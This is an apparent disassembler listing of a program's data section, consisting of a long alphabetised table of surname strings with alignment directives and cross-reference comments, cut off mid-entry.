aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E08Co align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E088o align 10h aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E084o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E080o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E07Co align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E078o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E074o aMandel db 'Mandel',0 ; DATA XREF: ___:0042E070o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E06Co aMalova db 'Malova',0 ; DATA XREF: ___:0042E068o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E064o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E060o align 10h aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E05Co aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E058o align 4 aMaier db 'Maier',0 ; DATA XREF: ___:0042E054o align 10h aMahony db 'Mahony',0 ; DATA XREF: ___:0042E050o align 4 aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E04Co align 10h aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E048o aMacy db 'Macy',0 ; DATA XREF: ___:0042E044o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E040o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E03Co align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E038o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E034o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E030o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E02Co align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E028o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E024o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E020o align 10h aLussier db 'Lussier',0 ; DATA XREF: ___:0042E01Co aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E018o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E014o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E010o align 10h aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E00Co aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E008o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E004o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E000o align 10h aLoza db 'Loza',0 ; DATA XREF: ___:0042DFFCo align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF8o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFF4o aLoss db 'Loss',0 ; DATA XREF: ___:0042DFF0o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFECo align 10h aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE8o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFE4o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFE0o aLivi db 'Livi',0 ; DATA XREF: ___:0042DFDCo align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD8o align 10h aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFD4o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042DFD0o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFCCo align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC8o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFC4o align 10h aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFC0o aLine db 'Line',0 ; DATA XREF: ___:0042DFBCo align 10h aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB8o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042DFB4o align 10h aLinares db 'Linares',0 ; DATA XREF: ___:0042DFB0o aLim db 'Lim',0 ; DATA XREF: ___:0042DFACo aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA8o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042DFA4o align 10h aLiem db 'Liem',0 ; DATA XREF: ___:0042DFA0o align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF9Co align 10h aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF98o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF94o align 10h aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF90o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF8Co align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF88o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DF84o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF80o align 10h aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF7Co align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF78o align 10h aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF74o aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF70o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF6Co aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF68o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF64o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF60o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF5Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF58o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042DF54o align 10h aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF50o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF4Co aLa db 'La',0 ; DATA XREF: ___:0042DF48o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF44o align 10h aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF40o align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF3Co align 10h aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF38o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF34o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF30o aKraus db 'Kraus',0 align 10h aKrasney db 'Krasney',0 aKrailo db 'Krailo',0 align 10h aKraemer db 'Kraemer',0 aKovaks db 'Kovaks',0 align 10h aKotter db 'Kotter',0 align 4 aKorzybski db 'Korzybski',0 align 4 aKool db 'Kool',0 align 4 aKonrad db 'Konrad',0 align 4 aKoniaris db 'Koniaris',0 align 10h aKommer db 'Kommer',0 align 4 aKoivumaki db 'Koivumaki',0 align 4 aKohn db 'Kohn',0 align 4 aKoch db 'Koch',0 align 4 aKobrick db 'Kobrick',0 aKnuff db 'Knuff',0 align 4 aKlint db 'Klint',0 align 4 aKlinkenborg db 'Klinkenborg',0 aKling db 'Kling',0 align 10h aKlemperer db 'Klemperer',0 align 4 aKleinfelder db 'Kleinfelder',0 aKleiman db 'Kleiman',0 aKleckner db 'Kleckner',0 align 4 aKittridge db 'Kittridge',0 align 4 aKirscht db 'Kirscht',0 aKippenberger db 'Kippenberger',0 align 10h aKinsley db 'Kinsley',0 aKindall db 'Kindall',0 aKimura db 'Kimura',0 align 4 aKimmett db 'Kimmett',0 aKimmel db 'Kimmel',0 align 4 aKhong db 'Khong',0 align 10h aKeul db 'Keul',0 align 4 aKerry db 'Kerry',0 align 10h aKendall db 'Kendall',0 aKemsley db 'Kemsley',0 aKempton db 'Kempton',0 aKelsey db 'Kelsey',0 align 10h aKelker db 'Kelker',0 align 4 aKeith db 'Keith',0 align 10h aKeepper db 'Keepper',0 aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE88o align 10h aKee db 'Kee',0 ; DATA XREF: ___:0042DE84o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE80o aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE7Co align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE78o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE74o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE70o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE6Co align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE68o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE64o align 10h aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE60o align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE5Co align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE58o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE54o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE50o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE4Co aJulious db 'Julious',0 ; DATA XREF: ___:0042DE48o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE44o aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE40o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE3Co align 10h aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE38o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042DE34o align 10h aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE30o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE2Co aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE28o align 10h aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE24o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE20o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE1Co align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE18o aJay db 'Jay',0 ; DATA XREF: ___:0042DE14o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE10o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE0Co align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE08o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042DE04o align 10h aJain db 'Jain',0 ; DATA XREF: ___:0042DE00o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDFCo align 10h aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF8o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDF4o align 10h aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDF0o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDECo aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE8o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDE4o align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDE0o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDDCo align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD8o align 10h aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDD4o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDD0o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDCCo align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC8o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDC4o align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDC0o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDBCo align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB8o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDB4o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDB0o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDACo align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA8o align 10h aHuey db 'Huey',0 ; DATA XREF: ___:0042DDA4o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042DDA0o aHoward db 'Howard',0 ; DATA XREF: ___:0042DD9Co align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD98o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD94o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD90o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD8Co aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD88o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD84o align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD80o aHolway db 'Holway',0 ; DATA XREF: ___:0042DD7Co align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DD78o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD74o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD70o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD6Co align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD68o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD64o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD60o align 10h aHock db 'Hock',0 ; DATA XREF: ___:0042DD5Co align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD58o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD54o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD50o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD4Co align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD48o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD44o align 10h aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD40o aHester db 'Hester',0 ; DATA XREF: ___:0042DD3Co align 10h aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD38o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD34o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD30o align 10h aHenery db 'Henery',0 ; DATA XREF: ___:0042DD2Co align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD28o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD24o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD20o align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD1Co aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD18o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD14o align 10h aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD10o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD0Co align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD08o align 10h aHayes db 'Hayes',0 ; DATA XREF: ___:0042DD04o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DD00o align 10h aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCFCo align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF8o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCF4o align 10h aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCF0o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCECo aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE8o align 10h aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCE4o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCE0o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DCDCo aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD8o aHand db 'Hand',0 ; DATA XREF: ___:0042DCD4o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCD0o align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCCCo align 10h aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC8o align 10h aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCC4o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCC0o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCBCo aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB8o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCB4o align 10h aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCB0o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCACo align 10h aHa db 'Ha',0 ; DATA XREF: ___:0042DCA8o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DCA4o aGunn db 'Gunn',0 ; DATA XREF: ___:0042DCA0o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC9Co align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC98o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC94o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC90o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC8Co align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC88o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC84o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC80o align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC7Co aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC78o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042DC74o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC70o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC6Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC68o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC64o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC60o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC5Co align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC58o aGist db 'Gist',0 ; DATA XREF: ___:0042DC54o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC50o align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DC4Co align 10h aGili db 'Gili',0 ; DATA XREF: ___:0042DC48o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC44o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC40o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC3Co aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC38o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC34o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC30o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC2Co align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC28o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC24o aGarman db 'Garman',0 ; DATA XREF: ___:0042DC20o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC1Co align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC18o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC14o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC10o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC0Co align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC08o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DC04o align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DC00o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBFCo align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF8o align 10h aFrye db 'Frye',0 ; DATA XREF: ___:0042DBF4o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBF0o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBECo aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE8o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBE4o align 10h aFried db 'Fried',0 ; DATA XREF: ___:0042DBE0o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBDCo align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD8o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBD4o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBD0o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBCCo align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC8o align 10h aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBC4o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBC0o align 10h aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBBCo aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB8o align 10h aForester db 'Forester',0 ; DATA XREF: ___:0042DBB4o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBB0o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBACo align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA8o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DBA4o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DBA0o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB9Co aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB98o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB94o aFink db 'Fink',0 ; DATA XREF: ___:0042DB90o align 10h aField db 'Field',0 ; DATA XREF: ___:0042DB8Co align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DB88o align 10h aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB84o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB80o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB7Co align 10h aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB78o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB74o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB70o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB6Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB68o align 10h aFates db 'Fates',0 ; DATA XREF: ___:0042DB64o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB60o align 10h aFarren db 'Farren',0 ; DATA XREF: ___:0042DB5Co align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DB58o align 10h aFaris db 'Faris',0 ; DATA XREF: ___:0042DB54o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB50o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB4Co align 10h aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB48o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB44o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB40o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB3Co aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB38o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB34o align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB30o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB2Co align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DB28o align 10h aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB24o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB20o align 10h aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB1Co align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB18o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB14o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB10o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB0Co align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB08o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DB04o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DB00o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAFCo aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF8o align 10h aEdner db 'Edner',0 ; DATA XREF: ___:0042DAF4o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DAF0o align 10h aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAECo align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE8o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DAE4o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAE0o align 10h aDussault db 'Dussault',0 ; DATA XREF: ___:0042DADCo align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD8o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DAD4o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAD0o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DACCo aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC8o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DAC4o align 10h aDoty db 'Doty',0 ; DATA XREF: ___:0042DAC0o align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DABCo align 10h aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB8o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DAB4o align 10h aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAB0o align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DAACo align 10h aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA8o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DAA4o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DAA0o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA9Co aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA98o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA94o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA90o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA8Co aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA88o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA84o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA80o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA7Co aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA78o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA74o aDenham db 'Denham',0 ; DATA XREF: ___:0042DA70o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA6Co aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA68o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA64o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DA60o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA5Co align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA58o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA54o align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA50o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA4Co align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA48o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA44o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA40o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA3Co align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA38o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA34o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA30o aDavid db 'David',0 ; DATA XREF: ___:0042DA2Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA28o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA24o align 10h aDas db 'Das',0 ; DATA XREF: ___:0042DA20o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA1Co aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA18o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DA14o align 10h aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA10o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA0Co aDaly db 'Daly',0 ; DATA XREF: ___:0042DA08o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DA04o align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DA00o aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9FCo align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F8o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9F4o align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9F0o aCui db 'Cui',0 ; DATA XREF: ___:0042D9ECo aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E8o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9E4o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9E0o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9DCo aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D8o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9D4o aCounter db 'Counter',0 ; DATA XREF: ___:0042D9D0o aCosmides db 